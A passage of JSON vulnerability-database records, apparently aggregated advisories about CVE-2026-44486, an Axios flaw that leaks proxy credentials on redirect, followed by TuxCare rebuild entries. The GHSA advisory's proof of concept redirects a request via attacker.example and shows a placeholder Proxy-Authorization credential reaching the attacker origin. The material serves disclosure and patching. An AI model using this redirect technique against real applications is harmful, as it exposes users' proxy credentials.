HTTPS endpoint receives the stale `Proxy-Authorization` header\n\nObserved output:\n\n```text\n[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz\n[attacker-http] GET /start\n[attacker-https] GET /final\n[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz\nLeak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.\n```\n\nThis demonstrates that the proxy credential is exposed to the redirect target origin.\n\n### Impact\nExposes authenticated proxy credentials to an attacker-controlled origin.\n\u003c/details\u003e\n\n---","status":"published","published":"2026-06-04T14:15:01Z","modified":"2026-06-12T19:24:46Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:40:27.329706Z"}],"nvd":[{"id":"CVE-2026-44486","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.","status":"published","published":"2026-06-11T17:16:32.45Z","modified":"2026-09-11T13:18:05.413Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-200","CWE-201"],"updated_at":"2026-11-02T14:12:23.485267Z"}],"osv":[{"id":"CVE-2026-44486","title":"Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.","status":"published","published":"2026-06-11T15:39:07.714Z","modified":"2026-10-28T02:30:54.254052235Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"DEBIAN-CVE-2026-44486","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.","status":"published","published":"2026-06-11T17:16:32.45Z","modified":"2026-10-01T03:03:05.712968659Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:55.669088Z"},{"id":"GHSA-j5f8-grm9-p9fc","title":"Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection","description":"### Summary\n\nAxios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a `Proxy-Authorization` header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale `Proxy-Authorization` header can remain on the redirected request and be sent to the redirect target.\n\nThis affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.\n\n### Impact\n\nAn attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.\n\nThe most relevant case is a Node.js application using an authenticated `HTTP_PROXY` for an initial `http://` request, with redirects enabled, where the redirect target resolves to no proxy, such as an `https://` URL when `HTTPS_PROXY` is unset.\n\nThis does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with `maxRedirects: 0`.\n\n### Affected Functionality\n\nAffected functionality is limited to the Node.js HTTP adapter in `lib/adapters/http.js`.\n\nRelevant inputs and settings include:\n\n- `HTTP_PROXY`, `HTTPS_PROXY`, and `NO_PROXY`.\n- Authenticated proxy URLs such as `http://user:pass@proxy.example:8080`.\n- Automatic redirect following through `follow-redirects`.\n- Axios proxy handling in `setProxy()`.\n- Redirect proxy handling through `beforeRedirects.proxy`.\n\n### Technical Details\n\nIn affected v1 releases, `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is selected, but redirect handling calls `setProxy()` again without first clearing any existing proxy authorization header.\n\nIf the redirected URL resolves to no proxy, `setProxy()` does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale `Proxy-Authorization` header to the final origin.\n\nThe v1 fix in `afca61a` adds an `isRedirect` path that deletes any case variant of `Proxy-Authorization` before proxy settings are re-applied on redirect. The v0 backport in `2af6116` fixed the 0.x line for `0.32.0`.\n\n### Proof of Concept of Attack\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\nawait axios.get('http://attacker.example/start');\n```\n\nAttacker-controlled HTTP endpoint:\n\n```http\nHTTP/1.1 302 Found\nLocation: https://attacker.example/final\n```\n\nExpected result on affected versions:\n\n```text\nhttps://attacker.example/final receives:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected result on fixed versions:\n\n```text\nhttps://attacker.example/final receives no Proxy-Authorization header\n```\n\n### Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually.\n\nAvoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.\n\nEnsure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\nAxios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a `Proxy-Authorization` header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale `Proxy-Authorization` header is not cleared. As a result, the redirect target can receive the proxy credential directly.\n\nThis issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses `HTTP_PROXY` with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when `HTTPS_PROXY` is unset or the redirect target is excluded by `NO_PROXY`.\n\n### Details\nIn the current implementation:\n\n- `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is in use.\n- On redirects, Axios re-invokes `setProxy()` for the redirected request.\n- If the redirected URL re-evaluates to \"no proxy\", `setProxy()` does not clear the previously added `Proxy-Authorization` header.\n- The redirected request therefore reuses the stale header and sends it to the final origin.\n\nRelevant code locations:\n\n- `lib/adapters/http.js`\n- `setProxy()` adds `Proxy-Authorization`\n- redirect handling re-applies proxy logic through `beforeRedirects.proxy`\n- no cleanup is performed when the recomputed redirect request no longer uses a proxy\n\n### PoC\n1. The victim sends `GET http://\u003cattacker-site\u003e/start`\n2. The request goes through a local authenticated `corp proxy`\n3. The attacker-controlled HTTP endpoint returns `302 Location: https://\u003cattacker-site\u003e/final`\n4. The redirected HTTPS request no longer uses a proxy\n5. The attacker-controlled HTTPS endpoint receives the stale `Proxy-Authorization` header\n\nObserved output:\n\n```text\n[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz\n[attacker-http] GET /start\n[attacker-https] GET /final\n[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz\nLeak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.\n```\n\nThis demonstrates that the proxy credential is exposed to the redirect target origin.\n\n### Impact\nExposes authenticated proxy credentials to an attacker-controlled origin.\n\u003c/details\u003e\n\n---","status":"published","published":"2026-06-04T14:15:01Z","modified":"2026-09-10T03:50:50.017253448Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:46:49.977351Z"},{"id":"RHSA-2026:42078","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","status":"published","published":"2026-07-23T10:13:55Z","modified":"2026-10-20T10:08:58Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:20.491441Z"},{"id":"UBUNTU-CVE-2026-44486","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.","status":"published","published":"2026-06-11T17:16:00Z","modified":"2026-10-17T13:00:09.86347718Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:22.075798Z"},{"id":"CLSA-2026-1784856367","title":"TuxCare security update for axios (3 CVEs)","description":"TuxCare rebuilt axios to address 3 CVEs. Fixed in 0.15.3-tuxcare.4.","status":"published","published":"2026-08-04T14:52:48Z","modified":"2026-10-15T09:47:54.930150567Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784856396","title":"TuxCare security update for axios (4 CVEs)","description":"TuxCare rebuilt axios to address 4 CVEs. Fixed in 0.21.4-tuxcare.2.","status":"published","published":"2026-08-04T14:52:48Z","modified":"2026-10-15T09:47:54.925325445Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784856398","title":"TuxCare security update for axios (3 CVEs)","description":"TuxCare rebuilt axios to address 3 CVEs. Fixed in 0.21.1-tuxcare.2.","status":"published","published":"2026-08-04T14:52:48Z","modified":"2026-10-15T09:47:55.015445604Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784856410","title":"TuxCare security update for axios (3 CVEs)","description":"TuxCare rebuilt axios to address 3 CVEs. Fixed in 0.19.2-tuxcare.2.","status":"published","published":"2026-08-04T14:52:48Z","modified":"2026-10-15T09:47:54.750945506Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784943412","title":"TuxCare security update for axios (4 CVEs)","description":"TuxCare rebuilt axios to address 4 CVEs. Fixed in 0.27.2-tuxcare.3.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:37.137847034Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785291650","title":"TuxCare security update for axios (2 CVEs)","description":"TuxCare rebuilt axios to address 2 CVEs. Fixed in 0.24.0-tuxcare.4.","status":"published","published":"2026-08-04T14:52:50Z","modified":"2026-10-15T09:48:03.921128226Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785291681","title":"TuxCare security update for axios (1 CVE)","description":"TuxCare rebuilt axios to address 1 CVE. Fixed in 1.6.8-tuxcare.4.","status":"published","published":"2026-08-04T14:52:50Z","modified":"2026-10-15T09:47:37.586518906Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785291685","title":"TuxCare security update for axios (1 CVE)","description":"TuxCare rebuilt axios to address 1 CVE. Fixed in 0.26.1-tuxcare.4.","status":"published","published":"2026-08-04T14:52:50Z","modified":"2026-10-15T09:47:37.369022838Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785291689","title":"TuxCare security update for axios (1 CVE)","description":"TuxCare rebuilt axios to address 1 CVE. Fixed in 1.6.2-tuxcare.4.","status":"published","published":"2026-08-04T14:52:50Z","modified":"2026-10-15T09:47:37.644871486Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785291889","title":"TuxCare security update for axios (1 CVE)","description":"TuxCare rebuilt axios to address 1 CVE. Fixed in 1.7.7-tuxcare.6.","status":"published","published":"2026-08-04T14:52:50Z","modified":"2026-10-15T09:47:37.723491745Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785291891","title":"TuxCare security update for axios (1 CVE)","description":"TuxCare rebuilt axios to address 1 CVE. Fixed in 1.7.5-tuxcare.5.","status":"published","published":"2026-08-04T14:52:50Z","modified":"2026-10-15T09:47:37.372196366Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785380760","title":"TuxCare security update for axios (5 CVEs)","description":"TuxCare rebuilt axios to address 5 CVEs. Fixed in 1.7.9-tuxcare.3.","status":"published","published":"2026-08-04T14:52:50Z","modified":"2026-10-15T09:48:03.742606387Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1785468080","title":"TuxCare security update for axios (15 CVEs)","description":"TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.26.0-tuxcare.4.","status":"published","published":"2026-08-04T14:52:51Z","modified":"2026-10-25T07:28:08.497556196Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1790764333","title":"TuxCare security update for axios (28 CVEs)","description":"TuxCare rebuilt axios to address 28 CVEs. Fixed in 1.13.5-tuxcare.1.","status":"published","published":"2026-09-30T10:32:13Z","modified":"2026-10-15T09:47:53.491657971Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1793101806","title":"TuxCare security update for axios (6 CVEs)","description":"TuxCare rebuilt axios to address 6 CVEs. Fixed in 0.18.0-tuxcare.2.","status":"published","published":"2026-10-27T11:50:06Z","modified":"2026-11-06T13:28:02.277131977Z","updated_at":"2026-11-06T13:44:09.891978Z"},{"id":"CLSA-2026-1793101832","title":"TuxCare security update for axios (11 CVEs)","description":"TuxCare rebuilt axios to address 11 CVEs. Fixed in 0.21.2-tuxcare.2.","status":"published","published":"2026-10-27T11:50:32Z","modified":"2026-11-06T13:28:02.439879551Z","updated_at":"2026-11-06T13:44:09.891978Z"},{"id":"CLSA-2026-1793101849","title":"TuxCare security update for axios (32 CVEs)","description":"TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.13.2-tuxcare.2.","status":"published","published":"2026-10-27T11:50:49Z","modified":"2026-10-27T13:30:17.542584318Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793110604","title":"TuxCare security update for axios (32 CVEs)","description":"TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.12.2-tuxcare.1.","status":"published","published":"2026-10-27T14:16:44Z","modified":"2026-10-27T19:30:03.618389185Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793874599","title":"TuxCare security update for axios (27 CVEs)","description":"TuxCare rebuilt axios to address 27 CVEs. Fixed in 1.13.6-tuxcare.3.","status":"published","published":"2026-11-05T11:30:00Z","modified":"2026-11-05T13:15:17.383465117Z","updated_at":"2026-11-05T13:30:00.949926Z"},{"id":"CLSA-2026-1794060370","title":"TuxCare security update for axios (12 CVEs)","description":"TuxCare rebuilt axios to address 12 CVEs. Fixed in 1.15.0-tuxcare.1.","status":"published","published":"2026-11-07T15:06:10Z","modified":"2026-11-07T19:00:38.800695575Z","updated_at":"2026-11-07T19:21:34.633914Z"},{"id":"CLSA-2026-1794060576","title":"TuxCare security update for axios (6 CVEs)","description":"TuxCare rebuilt axios to address 6 CVEs. Fixed in 1.15.2-tuxcare.1.","status":"published","published":"2026-11-07T15:09:37Z","modified":"2026-11-07T19:00:36.744054584Z","updated_at":"2026-11-07T19:21:34.633914Z"}]}}